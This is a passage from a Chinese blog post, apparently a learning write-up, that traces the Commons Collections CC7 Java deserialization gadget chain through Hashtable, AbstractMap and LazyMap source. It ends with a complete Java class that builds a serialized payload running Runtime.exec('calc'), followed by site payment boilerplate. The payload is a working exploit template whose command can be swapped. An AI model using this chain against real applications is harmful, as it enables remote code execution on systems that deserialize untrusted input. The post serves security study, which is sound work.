        Object obj = ois.readObject();
        return obj;
    }
}

cc7

image-20230803180627806

cc7是通过AbstractMap.equals调用get方法,大同小异

入口类是Hashtable.readObject

 private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();

        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();

        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry<?,?>[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;

        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);//入口点
        }
    }
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {//equals前面参数可控且hash相同
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry<K,V> e = (Entry<K,V>)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }

Hashtable的reconstitutionPut方法调用了equals但Hashtable并没有equals方法,而实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法,虽然AbstractMapDecorator是一个抽象类,但它实现了equals方法。

public boolean equals(Object object) {
        if (object == this) {
            return true;
        }
        return map.equals(object);
    }

查找equals方法

image-20230803181101533

最后在AbstractMap中的equals方法

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))//这个get需满足不为空且键名不同
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        map = (Map) in.readObject();
    }//LazyMap类

    //-----------------------------------------------------------------------
    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);//这个put写入会使我们传入的yy写入lmp2里面导致序列化失败,即需要删除
            return value;
        }
        return map.get(key);
    }

playload:

package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IOException, ClassNotFoundException, IllegalAccessException {
//        System.out.println("sss");
//
        Transformer[] transforms=new Transformer[]{//transforms直接反射写入iTransformers
                new ConstantTransformer(Runtime.class),//iTransformers有final修饰初始化后不能再更改
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(new Transformer[0]);
        Map lazyMap1 = LazyMap.decorate(new HashMap(), chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(new HashMap(), chainedTransformer);

        lazyMap1.put("yy", 1);
        lazyMap2.put("zZ", 1);//yy and zZ hash相同

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);
        lazyMap2.remove("yy");//删除
        System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
        System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());

        Class  cc = ChainedTransformer.class;
        Field iTransformers = cc.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transforms);

        serialize(hashtable);
        unserialize("ser.bin");
        //        Hashtable.readObject
//            Hashtable.reconstitutionPut equals
//        AbstractMapDecorator.equals
//                AbstractMap.equals
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

java cc7可以看一下这位师傅的cc7有点懒写的不是很细

https://blog.csdn.net/qq_64201116/article/details/128401981

至此c1~7结束了,cc链名字只是个代号无实际作用具体情况具体使用

image-20230803201010182

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值